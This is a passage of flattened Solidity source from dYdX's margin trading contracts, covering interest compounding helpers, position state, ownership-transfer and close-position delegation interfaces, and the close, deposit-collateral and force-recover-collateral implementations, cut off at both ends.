E_TO_MAXIUMUM_EXPONENT, den: 1 }); } else { // normal case: calculate e^(RT) eToRT = Exponent.exp( rt, DEFAULT_PRECOMPUTE_PRECISION, DEFAULT_MACLAURIN_PRECISION ); } // e^X for positive X should be greater-than or equal to 1 assert(eToRT.num >= eToRT.den); return safeMultiplyUint256ByFraction(principal, eToRT); } // ============ Private Helper-Functions ============ /** * Returns n * f, trying to prevent overflow as much as possible. Assumes that the numerator * and denominator of f are less than 2**128. */ function safeMultiplyUint256ByFraction( uint256 n, Fraction.Fraction128 memory f ) private pure returns (uint256) { uint256 term1 = n.div(2 ** 128); // first 128 bits uint256 term2 = n % (2 ** 128); // second 128 bits // uncommon scenario, requires n >= 2**128. calculates term1 = term1 * f if (term1 > 0) { term1 = term1.mul(f.num); uint256 numBits = MathHelpers.getNumBits(term1); // reduce rounding error by shifting all the way to the left before dividing term1 = MathHelpers.divisionRoundedUp( term1 << (uint256(256).sub(numBits)), f.den); // continue shifting or reduce shifting to get the right number if (numBits > 128) { term1 = term1 << (numBits.sub(128)); } else if (numBits < 128) { term1 = term1 >> (uint256(128).sub(numBits)); } } // calculates term2 = term2 * f term2 = MathHelpers.getPartialAmountRoundedUp( f.num, f.den, term2 ); return term1.add(term2); } } // File: contracts/margin/impl/MarginState.sol /** * @title MarginState * @author dYdX * * Contains state for the Margin contract. Also used by libraries that implement Margin functions. */ library MarginState { struct State { // Address of the Vault contract address VAULT; // Address of the TokenProxy contract address TOKEN_PROXY; // Mapping from loanHash -> amount, which stores the amount of a loan which has // already been filled. mapping (bytes32 => uint256) loanFills; // Mapping from loanHash -> amount, which stores the amount of a loan which has // already been canceled. mapping (bytes32 => uint256) loanCancels; // Mapping from positionId -> Position, which stores all the open margin positions. mapping (bytes32 => MarginCommon.Position) positions; // Mapping from positionId -> bool, which stores whether the position has previously been // open, but is now closed. mapping (bytes32 => bool) closedPositions; // Mapping from positionId -> uint256, which stores the total amount of owedToken that has // ever been repaid to the lender for each position. Does not reset. mapping (bytes32 => uint256) totalOwedTokenRepaidToLender; } } // File: contracts/margin/interfaces/lender/LoanOwner.sol /** * @title LoanOwner * @author dYdX * * Interface that smart contracts must implement in order to own loans on behalf of other accounts. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface LoanOwner { // ============ Public Interface functions ============ /** * Function a contract must implement in order to receive ownership of a loan sell via the * transferLoan function or the atomic-assign to the "owner" field in a loan offering. * * @param from Address of the previous owner * @param positionId Unique ID of the position * @return This address to keep ownership, a different address to pass-on ownership */ function receiveLoanOwnership( address from, bytes32 positionId ) external /* onlyMargin */ returns (address); } // File: contracts/margin/interfaces/owner/PositionOwner.sol /** * @title PositionOwner * @author dYdX * * Interface that smart contracts must implement in order to own position on behalf of other * accounts * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface PositionOwner { // ============ Public Interface functions ============ /** * Function a contract must implement in order to receive ownership of a position via the * transferPosition function or the atomic-assign to the "owner" field when opening a position. * * @param from Address of the previous owner * @param positionId Unique ID of the position * @return This address to keep ownership, a different address to pass-on ownership */ function receivePositionOwnership( address from, bytes32 positionId ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/TransferInternal.sol /** * @title TransferInternal * @author dYdX * * This library contains the implementation for transferring ownership of loans and positions. */ library TransferInternal { // ============ Events ============ /** * Ownership of a loan was transferred to a new address */ event LoanTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); /** * Ownership of a postion was transferred to a new address */ event PositionTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); // ============ Internal Implementation Functions ============ /** * Returns either the address of the new loan owner, or the address to which they wish to * pass ownership of the loan. This function does not actually set the state of the position * * @param positionId The Unique ID of the position * @param oldOwner The previous owner of the loan * @param newOwner The intended owner of the loan * @return The address that the intended owner wishes to assign the loan to (may be * the same as the intended owner). */ function grantLoanOwnership( bytes32 positionId, address oldOwner, address newOwner ) internal returns (address) { // log event except upon position creation if (oldOwner != address(0)) { emit LoanTransferred(positionId, oldOwner, newOwner); } if (AddressUtils.isContract(newOwner)) { address nextOwner = LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId); if (nextOwner != newOwner) { return grantLoanOwnership(positionId, newOwner, nextOwner); } } require( newOwner != address(0), "TransferInternal#grantLoanOwnership: New owner did not consent to owning loan" ); return newOwner; } /** * Returns either the address of the new position owner, or the address to which they wish to * pass ownership of the position. This function does not actually set the state of the position * * @param positionId The Unique ID of the position * @param oldOwner The previous owner of the position * @param newOwner The intended owner of the position * @return The address that the intended owner wishes to assign the position to (may * be the same as the intended owner). */ function grantPositionOwnership( bytes32 positionId, address oldOwner, address newOwner ) internal returns (address) { // log event except upon position creation if (oldOwner != address(0)) { emit PositionTransferred(positionId, oldOwner, newOwner); } if (AddressUtils.isContract(newOwner)) { address nextOwner = PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId); if (nextOwner != newOwner) { return grantPositionOwnership(positionId, newOwner, nextOwner); } } require( newOwner != address(0), "TransferInternal#grantPositionOwnership: New owner did not consent to owning position" ); return newOwner; } } // File: contracts/lib/TimestampHelper.sol /** * @title TimestampHelper * @author dYdX * * Helper to get block timestamps in other formats */ library TimestampHelper { function getBlockTimestamp32() internal view returns (uint32) { // Should not still be in-use in the year 2106 assert(uint256(uint32(block.timestamp)) == block.timestamp); assert(block.timestamp > 0); return uint32(block.timestamp); } } // File: contracts/margin/impl/MarginCommon.sol /** * @title MarginCommon * @author dYdX * * This library contains common functions for implementations of public facing Margin functions */ library MarginCommon { using SafeMath for uint256; // ============ Structs ============ struct Position { address owedToken; // Immutable address heldToken; // Immutable address lender; address owner; uint256 principal; uint256 requiredDeposit; uint32 callTimeLimit; // Immutable uint32 startTimestamp; // Immutable, cannot be 0 uint32 callTimestamp; uint32 maxDuration; // Immutable uint32 interestRate; // Immutable uint32 interestPeriod; // Immutable } struct LoanOffering { address owedToken; address heldToken; address payer; address owner; address taker; address positionOwner; address feeRecipient; address lenderFeeToken; address takerFeeToken; LoanRates rates; uint256 expirationTimestamp; uint32 callTimeLimit; uint32 maxDuration; uint256 salt; bytes32 loanHash; bytes signature; } struct LoanRates { uint256 maxAmount; uint256 minAmount; uint256 minHeldToken; uint256 lenderFee; uint256 takerFee; uint32 interestRate; uint32 interestPeriod; } // ============ Internal Implementation Functions ============ function storeNewPosition( MarginState.State storage state, bytes32 positionId, Position memory position, address loanPayer ) internal { assert(!positionHasExisted(state, positionId)); assert(position.owedToken != address(0)); assert(position.heldToken != address(0)); assert(position.owedToken != position.heldToken); assert(position.owner != address(0)); assert(position.lender != address(0)); assert(position.maxDuration != 0); assert(position.interestPeriod <= position.maxDuration); assert(position.callTimestamp == 0); assert(position.requiredDeposit == 0); state.positions[positionId].owedToken = position.owedToken; state.positions[positionId].heldToken = position.heldToken; state.positions[positionId].principal = position.principal; state.positions[positionId].callTimeLimit = position.callTimeLimit; state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32(); state.positions[positionId].maxDuration = position.maxDuration; state.positions[positionId].interestRate = position.interestRate; state.positions[positionId].interestPeriod = position.interestPeriod; state.positions[positionId].owner = TransferInternal.grantPositionOwnership( positionId, (position.owner != msg.sender) ? msg.sender : address(0), position.owner ); state.positions[positionId].lender = TransferInternal.grantLoanOwnership( positionId, (position.lender != loanPayer) ? loanPayer : address(0), position.lender ); } function getPositionIdFromNonce( uint256 nonce ) internal view returns (bytes32) { return keccak256(abi.encodePacked(msg.sender, nonce)); } function getUnavailableLoanOfferingAmountImpl( MarginState.State storage state, bytes32 loanHash ) internal view returns (uint256) { return state.loanFills[loanHash].add(state.loanCancels[loanHash]); } function cleanupPosition( MarginState.State storage state, bytes32 positionId ) internal { delete state.positions[positionId]; state.closedPositions[positionId] = true; } function calculateOwedAmount( Position storage position, uint256 closeAmount, uint256 endTimestamp ) internal view returns (uint256) { uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp); return InterestImpl.getCompoundedInterest( closeAmount, position.interestRate, timeElapsed ); } /** * Calculates time elapsed rounded up to the nearest interestPeriod */ function calculateEffectiveTimeElapsed( Position storage position, uint256 timestamp ) internal view returns (uint256) { uint256 elapsed = timestamp.sub(position.startTimestamp); // round up to interestPeriod uint256 period = position.interestPeriod; if (period > 1) { elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period); } // bound by maxDuration return Math.min256( elapsed, position.maxDuration ); } function calculateLenderAmountForIncreasePosition( Position storage position, uint256 principalToAdd, uint256 endTimestamp ) internal view returns (uint256) { uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp); return InterestImpl.getCompoundedInterest( principalToAdd, position.interestRate, timeElapsed ); } function getLoanOfferingHash( LoanOffering loanOffering ) internal view returns (bytes32) { return keccak256( abi.encodePacked( address(this), loanOffering.owedToken, loanOffering.heldToken, loanOffering.payer, loanOffering.owner, loanOffering.taker, loanOffering.positionOwner, loanOffering.feeRecipient, loanOffering.lenderFeeToken, loanOffering.takerFeeToken, getValuesHash(loanOffering) ) ); } function getPositionBalanceImpl( MarginState.State storage state, bytes32 positionId ) internal view returns(uint256) { return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken); } function containsPositionImpl( MarginState.State storage state, bytes32 positionId ) internal view returns (bool) { return state.positions[positionId].startTimestamp != 0; } function positionHasExisted( MarginState.State storage state, bytes32 positionId ) internal view returns (bool) { return containsPositionImpl(state, positionId) || state.closedPositions[positionId]; } function getPositionFromStorage( MarginState.State storage state, bytes32 positionId ) internal view returns (Position storage) { Position storage position = state.positions[positionId]; require( position.startTimestamp != 0, "MarginCommon#getPositionFromStorage: The position does not exist" ); return position; } // ============ Private Helper-Functions ============ /** * Calculates time elapsed rounded down to the nearest interestPeriod */ function calculateEffectiveTimeElapsedForNewLender( Position storage position, uint256 timestamp ) private view returns (uint256) { uint256 elapsed = timestamp.sub(position.startTimestamp); // round down to interestPeriod uint256 period = position.interestPeriod; if (period > 1) { elapsed = elapsed.div(period).mul(period); } // bound by maxDuration return Math.min256( elapsed, position.maxDuration ); } function getValuesHash( LoanOffering loanOffering ) private pure returns (bytes32) { return keccak256( abi.encodePacked( loanOffering.rates.maxAmount, loanOffering.rates.minAmount, loanOffering.rates.minHeldToken, loanOffering.rates.lenderFee, loanOffering.rates.takerFee, loanOffering.expirationTimestamp, loanOffering.salt, loanOffering.callTimeLimit, loanOffering.maxDuration, loanOffering.rates.interestRate, loanOffering.rates.interestPeriod ) ); } } // File: contracts/margin/interfaces/PayoutRecipient.sol /** * @title PayoutRecipient * @author dYdX * * Interface that smart contracts must implement in order to be the payoutRecipient in a * closePosition transaction. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface PayoutRecipient { // ============ Public Interface functions ============ /** * Function a contract must implement in order to receive payout from being the payoutRecipient * in a closePosition transaction. May redistribute any payout as necessary. Throws on error. * * @param positionId Unique ID of the position * @param closeAmount Amount of the position that was closed * @param closer Address of the account or contract that closed the position * @param positionOwner Address of the owner of the position * @param heldToken Address of the ERC20 heldToken * @param payout Number of tokens received from the payout * @param totalHeldToken Total amount of heldToken removed from vault during close * @param payoutInHeldToken True if payout is in heldToken, false if in owedToken * @return True if approved by the receiver */ function receiveClosePositionPayout( bytes32 positionId, uint256 closeAmount, address closer, address positionOwner, address heldToken, uint256 payout, uint256 totalHeldToken, bool payoutInHeldToken ) external /* onlyMargin */ returns (bool); } // File: contracts/margin/interfaces/lender/CloseLoanDelegator.sol /** * @title CloseLoanDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses close a loan * owned by the smart contract. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface CloseLoanDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call * closeWithoutCounterparty(). * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that (at most) the specified amount of the loan was * successfully closed. * * @param closer Address of the caller of closeWithoutCounterparty() * @param payoutRecipient Address of the recipient of tokens paid out from closing * @param positionId Unique ID of the position * @param requestedAmount Requested principal amount of the loan to close * @return 1) This address to accept, a different address to ask that contract * 2) The maximum amount that this contract is allowing */ function closeLoanOnBehalfOf( address closer, address payoutRecipient, bytes32 positionId, uint256 requestedAmount ) external /* onlyMargin */ returns (address, uint256); } // File: contracts/margin/interfaces/owner/ClosePositionDelegator.sol /** * @title ClosePositionDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses close a position * owned by the smart contract, allowing more complex logic to control positions. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface ClosePositionDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call closePosition(). * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that (at-most) the specified amount of the position * was successfully closed. * * @param closer Address of the caller of the closePosition() function * @param payoutRecipient Address of the recipient of tokens paid out from closing * @param positionId Unique ID of the position * @param requestedAmount Requested principal amount of the position to close * @return 1) This address to accept, a different address to ask that contract * 2) The maximum amount that this contract is allowing */ function closeOnBehalfOf( address closer, address payoutRecipient, bytes32 positionId, uint256 requestedAmount ) external /* onlyMargin */ returns (address, uint256); } // File: contracts/margin/impl/ClosePositionShared.sol /** * @title ClosePositionShared * @author dYdX * * This library contains shared functionality between ClosePositionImpl and * CloseWithoutCounterpartyImpl */ library ClosePositionShared { using SafeMath for uint256; // ============ Structs ============ struct CloseTx { bytes32 positionId; uint256 originalPrincipal; uint256 closeAmount; uint256 owedTokenOwed; uint256 startingHeldTokenBalance; uint256 availableHeldToken; address payoutRecipient; address owedToken; address heldToken; address positionOwner; address positionLender; address exchangeWrapper; bool payoutInHeldToken; } // ============ Internal Implementation Functions ============ function closePositionStateUpdate( MarginState.State storage state, CloseTx memory transaction ) internal { // Delete the position, or just decrease the principal if (transaction.closeAmount == transaction.originalPrincipal) { MarginCommon.cleanupPosition(state, transaction.positionId); } else { assert( transaction.originalPrincipal == state.positions[transaction.positionId].principal ); state.positions[transaction.positionId].principal = transaction.originalPrincipal.sub(transaction.closeAmount); } } function sendTokensToPayoutRecipient( MarginState.State storage state, ClosePositionShared.CloseTx memory transaction, uint256 buybackCostInHeldToken, uint256 receivedOwedToken ) internal returns (uint256) { uint256 payout; if (transaction.payoutInHeldToken) { // Send remaining heldToken to payoutRecipient payout = transaction.availableHeldToken.sub(buybackCostInHeldToken); Vault(state.VAULT).transferFromVault( transaction.positionId, transaction.heldToken, transaction.payoutRecipient, payout ); } else { assert(transaction.exchangeWrapper != address(0)); payout = receivedOwedToken.sub(transaction.owedTokenOwed); TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.owedToken, transaction.exchangeWrapper, transaction.payoutRecipient, payout ); } if (AddressUtils.isContract(transaction.payoutRecipient)) { require( PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout( transaction.positionId, transaction.closeAmount, msg.sender, transaction.positionOwner, transaction.heldToken, payout, transaction.availableHeldToken, transaction.payoutInHeldToken ), "ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent" ); } // The ending heldToken balance of the vault should be the starting heldToken balance // minus the available heldToken amount assert( MarginCommon.getPositionBalanceImpl(state, transaction.positionId) == transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken) ); return payout; } function createCloseTx( MarginState.State storage state, bytes32 positionId, uint256 requestedAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bool isWithoutCounterparty ) internal returns (CloseTx memory) { // Validate require( payoutRecipient != address(0), "ClosePositionShared#createCloseTx: Payout recipient cannot be 0" ); require( requestedAmount > 0, "ClosePositionShared#createCloseTx: Requested close amount cannot be 0" ); MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); uint256 closeAmount = getApprovedAmount( position, positionId, requestedAmount, payoutRecipient, isWithoutCounterparty ); return parseCloseTx( state, position, positionId, closeAmount, payoutRecipient, exchangeWrapper, payoutInHeldToken, isWithoutCounterparty ); } // ============ Private Helper-Functions ============ function getApprovedAmount( MarginCommon.Position storage position, bytes32 positionId, uint256 requestedAmount, address payoutRecipient, bool requireLenderApproval ) private returns (uint256) { // Ensure enough principal uint256 allowedAmount = Math.min256(requestedAmount, position.principal); // Ensure owner consent allowedAmount = closePositionOnBehalfOfRecurse( position.owner, msg.sender, payoutRecipient, positionId, allowedAmount ); // Ensure lender consent if (requireLenderApproval) { allowedAmount = closeLoanOnBehalfOfRecurse( position.lender, msg.sender, payoutRecipient, positionId, allowedAmount ); } assert(allowedAmount > 0); assert(allowedAmount <= position.principal); assert(allowedAmount <= requestedAmount); return allowedAmount; } function closePositionOnBehalfOfRecurse( address contractAddr, address closer, address payoutRecipient, bytes32 positionId, uint256 closeAmount ) private returns (uint256) { // no need to ask for permission if (closer == contractAddr) { return closeAmount; } ( address newContractAddr, uint256 newCloseAmount ) = ClosePositionDelegator(contractAddr).closeOnBehalfOf( closer, payoutRecipient, positionId, closeAmount ); require( newCloseAmount <= closeAmount, "ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount" ); require( newCloseAmount > 0, "ClosePositionShared#closePositionRecurse: newCloseAmount is zero" ); if (newContractAddr != contractAddr) { closePositionOnBehalfOfRecurse( newContractAddr, closer, payoutRecipient, positionId, newCloseAmount ); } return newCloseAmount; } function closeLoanOnBehalfOfRecurse( address contractAddr, address closer, address payoutRecipient, bytes32 positionId, uint256 closeAmount ) private returns (uint256) { // no need to ask for permission if (closer == contractAddr) { return closeAmount; } ( address newContractAddr, uint256 newCloseAmount ) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf( closer, payoutRecipient, positionId, closeAmount ); require( newCloseAmount <= closeAmount, "ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount" ); require( newCloseAmount > 0, "ClosePositionShared#closeLoanRecurse: newCloseAmount is zero" ); if (newContractAddr != contractAddr) { closeLoanOnBehalfOfRecurse( newContractAddr, closer, payoutRecipient, positionId, newCloseAmount ); } return newCloseAmount; } // ============ Parsing Functions ============ function parseCloseTx( MarginState.State storage state, MarginCommon.Position storage position, bytes32 positionId, uint256 closeAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bool isWithoutCounterparty ) private view returns (CloseTx memory) { uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId); uint256 availableHeldToken = MathHelpers.getPartialAmount( closeAmount, position.principal, startingHeldTokenBalance ); uint256 owedTokenOwed = 0; if (!isWithoutCounterparty) { owedTokenOwed = MarginCommon.calculateOwedAmount( position, closeAmount, block.timestamp ); } return CloseTx({ positionId: positionId, originalPrincipal: position.principal, closeAmount: closeAmount, owedTokenOwed: owedTokenOwed, startingHeldTokenBalance: startingHeldTokenBalance, availableHeldToken: availableHeldToken, payoutRecipient: payoutRecipient, owedToken: position.owedToken, heldToken: position.heldToken, positionOwner: position.owner, positionLender: position.lender, exchangeWrapper: exchangeWrapper, payoutInHeldToken: payoutInHeldToken }); } } // File: contracts/margin/interfaces/ExchangeWrapper.sol /** * @title ExchangeWrapper * @author dYdX * * Contract interface that Exchange Wrapper smart contracts must implement in order to interface * with other smart contracts through a common interface. */ interface ExchangeWrapper { // ============ Public Functions ============ /** * Exchange some amount of takerToken for makerToken. * * @param tradeOriginator Address of the initiator of the trade (however, this value * cannot always be trusted as it is set at the discretion of the * msg.sender) * @param receiver Address to set allowance on once the trade has completed * @param makerToken Address of makerToken, the token to receive * @param takerToken Address of takerToken, the token to pay * @param requestedFillAmount Amount of takerToken being paid * @param orderData Arbitrary bytes data for any information to pass to the exchange * @return The amount of makerToken received */ function exchange( address tradeOriginator, address receiver, address makerToken, address takerToken, uint256 requestedFillAmount, bytes orderData ) external returns (uint256); /** * Get amount of takerToken required to buy a certain amount of makerToken for a given trade. * Should match the takerToken amount used in exchangeForAmount. If the order cannot provide * exactly desiredMakerToken, then it must return the price to buy the minimum amount greater * than desiredMakerToken * * @param makerToken Address of makerToken, the token to receive * @param takerToken Address of takerToken, the token to pay * @param desiredMakerToken Amount of makerToken requested * @param orderData Arbitrary bytes data for any information to pass to the exchange * @return Amount of takerToken the needed to complete the transaction */ function getExchangeCost( address makerToken, address takerToken, uint256 desiredMakerToken, bytes orderData ) external view returns (uint256); } // File: contracts/margin/impl/ClosePositionImpl.sol /** * @title ClosePositionImpl * @author dYdX * * This library contains the implementation for the closePosition function of Margin */ library ClosePositionImpl { using SafeMath for uint256; // ============ Events ============ /** * A position was closed or partially closed */ event PositionClosed( bytes32 indexed positionId, address indexed closer, address indexed payoutRecipient, uint256 closeAmount, uint256 remainingAmount, uint256 owedTokenPaidToLender, uint256 payoutAmount, uint256 buybackCostInHeldToken, bool payoutInHeldToken ); // ============ Public Implementation Functions ============ function closePositionImpl( MarginState.State storage state, bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bytes memory orderData ) public returns (uint256, uint256, uint256) { ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx( state, positionId, requestedCloseAmount, payoutRecipient, exchangeWrapper, payoutInHeldToken, false ); ( uint256 buybackCostInHeldToken, uint256 receivedOwedToken ) = returnOwedTokensToLender( state, transaction, orderData ); uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient( state, transaction, buybackCostInHeldToken, receivedOwedToken ); ClosePositionShared.closePositionStateUpdate(state, transaction); logEventOnClose( transaction, buybackCostInHeldToken, payout ); return ( transaction.closeAmount, payout, transaction.owedTokenOwed ); } // ============ Private Helper-Functions ============ function returnOwedTokensToLender( MarginState.State storage state, ClosePositionShared.CloseTx memory transaction, bytes memory orderData ) private returns (uint256, uint256) { uint256 buybackCostInHeldToken = 0; uint256 receivedOwedToken = 0; uint256 lenderOwedToken = transaction.owedTokenOwed; // Setting exchangeWrapper to 0x000... indicates owedToken should be taken directly // from msg.sender if (transaction.exchangeWrapper == address(0)) { require( transaction.payoutInHeldToken, "ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken" ); // No DEX Order; send owedTokens directly from the closer to the lender TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.owedToken, msg.sender, transaction.positionLender, lenderOwedToken ); } else { // Buy back owedTokens using DEX Order and send to lender (buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken( state, transaction, orderData ); // If no owedToken needed for payout: give lender all owedToken, even if more than owed if (transaction.payoutInHeldToken) { assert(receivedOwedToken >= lenderOwedToken); lenderOwedToken = receivedOwedToken; } // Transfer owedToken from the exchange wrapper to the lender TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.owedToken, transaction.exchangeWrapper, transaction.positionLender, lenderOwedToken ); } state.totalOwedTokenRepaidToLender[transaction.positionId] = state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken); return (buybackCostInHeldToken, receivedOwedToken); } function buyBackOwedToken( MarginState.State storage state, ClosePositionShared.CloseTx transaction, bytes memory orderData ) private returns (uint256, uint256) { // Ask the exchange wrapper the cost in heldToken to buy back the close // amount of owedToken uint256 buybackCostInHeldToken; if (transaction.payoutInHeldToken) { buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper) .getExchangeCost( transaction.owedToken, transaction.heldToken, transaction.owedTokenOwed, orderData ); // Require enough available heldToken to pay for the buyback require( buybackCostInHeldToken <= transaction.availableHeldToken, "ClosePositionImpl#buyBackOwedToken: Not enough available heldToken" ); } else { buybackCostInHeldToken = transaction.availableHeldToken; } // Send the requisite heldToken to do the buyback from vault to exchange wrapper Vault(state.VAULT).transferFromVault( transaction.positionId, transaction.heldToken, transaction.exchangeWrapper, buybackCostInHeldToken ); // Trade the heldToken for the owedToken uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange( msg.sender, state.TOKEN_PROXY, transaction.owedToken, transaction.heldToken, buybackCostInHeldToken, orderData ); require( receivedOwedToken >= transaction.owedTokenOwed, "ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken" ); return (buybackCostInHeldToken, receivedOwedToken); } function logEventOnClose( ClosePositionShared.CloseTx transaction, uint256 buybackCostInHeldToken, uint256 payout ) private { emit PositionClosed( transaction.positionId, msg.sender, transaction.payoutRecipient, transaction.closeAmount, transaction.originalPrincipal.sub(transaction.closeAmount), transaction.owedTokenOwed, payout, buybackCostInHeldToken, transaction.payoutInHeldToken ); } } // File: contracts/margin/impl/CloseWithoutCounterpartyImpl.sol /** * @title CloseWithoutCounterpartyImpl * @author dYdX * * This library contains the implementation for the closeWithoutCounterpartyImpl function of * Margin */ library CloseWithoutCounterpartyImpl { using SafeMath for uint256; // ============ Events ============ /** * A position was closed or partially closed */ event PositionClosed( bytes32 indexed positionId, address indexed closer, address indexed payoutRecipient, uint256 closeAmount, uint256 remainingAmount, uint256 owedTokenPaidToLender, uint256 payoutAmount, uint256 buybackCostInHeldToken, bool payoutInHeldToken ); // ============ Public Implementation Functions ============ function closeWithoutCounterpartyImpl( MarginState.State storage state, bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient ) public returns (uint256, uint256) { ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx( state, positionId, requestedCloseAmount, payoutRecipient, address(0), true, true ); uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient( state, transaction, 0, // No buyback cost 0 // Did not receive any owedToken ); ClosePositionShared.closePositionStateUpdate(state, transaction); logEventOnCloseWithoutCounterparty(transaction); return ( transaction.closeAmount, heldTokenPayout ); } // ============ Private Helper-Functions ============ function logEventOnCloseWithoutCounterparty( ClosePositionShared.CloseTx transaction ) private { emit PositionClosed( transaction.positionId, msg.sender, transaction.payoutRecipient, transaction.closeAmount, transaction.originalPrincipal.sub(transaction.closeAmount), 0, transaction.availableHeldToken, 0, true ); } } // File: contracts/margin/interfaces/owner/DepositCollateralDelegator.sol /** * @title DepositCollateralDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses deposit heldTokens * into a position owned by the smart contract. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface DepositCollateralDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call depositCollateral(). * * @param depositor Address of the caller of the depositCollateral() function * @param positionId Unique ID of the position * @param amount Requested deposit amount * @return This address to accept, a different address to ask that contract */ function depositCollateralOnBehalfOf( address depositor, bytes32 positionId, uint256 amount ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/DepositCollateralImpl.sol /** * @title DepositCollateralImpl * @author dYdX * * This library contains the implementation for the deposit function of Margin */ library DepositCollateralImpl { using SafeMath for uint256; // ============ Events ============ /** * Additional collateral for a position was posted by the owner */ event AdditionalCollateralDeposited( bytes32 indexed positionId, uint256 amount, address depositor ); /** * A margin call was canceled */ event MarginCallCanceled( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 depositAmount ); // ============ Public Implementation Functions ============ function depositCollateralImpl( MarginState.State storage state, bytes32 positionId, uint256 depositAmount ) public { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( depositAmount > 0, "DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0" ); // Ensure owner consent depositCollateralOnBehalfOfRecurse( position.owner, msg.sender, positionId, depositAmount ); Vault(state.VAULT).transferToVault( positionId, position.heldToken, msg.sender, depositAmount ); // cancel margin call if applicable bool marginCallCanceled = false; uint256 requiredDeposit = position.requiredDeposit; if (position.callTimestamp > 0 && requiredDeposit > 0) { if (depositAmount >= requiredDeposit) { position.requiredDeposit = 0; position.callTimestamp = 0; marginCallCanceled = true; } else { position.requiredDeposit = position.requiredDeposit.sub(depositAmount); } } emit AdditionalCollateralDeposited( positionId, depositAmount, msg.sender ); if (marginCallCanceled) { emit MarginCallCanceled( positionId, position.lender, msg.sender, depositAmount ); } } // ============ Private Helper-Functions ============ function depositCollateralOnBehalfOfRecurse( address contractAddr, address depositor, bytes32 positionId, uint256 amount ) private { // no need to ask for permission if (depositor == contractAddr) { return; } address newContractAddr = DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf( depositor, positionId, amount ); // if not equal, recurse if (newContractAddr != contractAddr) { depositCollateralOnBehalfOfRecurse( newContractAddr, depositor, positionId, amount ); } } } // File: contracts/margin/interfaces/lender/ForceRecoverCollateralDelegator.sol /** * @title ForceRecoverCollateralDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses * forceRecoverCollateral() a loan owned by the smart contract. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface ForceRecoverCollateralDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call * forceRecoverCollateral(). * * NOTE: If not returning zero address (or not reverting), this contract must assume that Margin * will either revert the entire transaction or that the collateral was forcibly recovered. * * @param recoverer Address of the caller of the forceRecoverCollateral() function * @param positionId Unique ID of the position * @param recipient Address to send the recovered tokens to * @return This address to accept, a different address to ask that contract */ function forceRecoverCollateralOnBehalfOf( address recoverer, bytes32 positionId, address recipient ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/ForceRecoverCollateralImpl.sol /** * @title ForceRecoverCollateralImpl * @author dYdX * * This library contains the implementation for the forceRecoverCollateral function of Margin */ library ForceRecoverCollateralImpl { using SafeMath for uint256; // ============ Events ============ /** * Collateral for a position was forcibly recovered */ event CollateralForceRecovered( bytes32 indexed positionId, address indexed recipient, uint256 amount ); // ============ Public Implementation Functions ============ function forceRecoverCollateralImpl( MarginState.State storage state, bytes32 positionId, address recipient ) public returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); // Can only force recover after either: // 1) The loan was called and the call period has elapsed // 2) The maxDuration of the position has elapsed require( /* solium-disable-next-line */ ( position.callTimestamp > 0 && block.timestamp >= 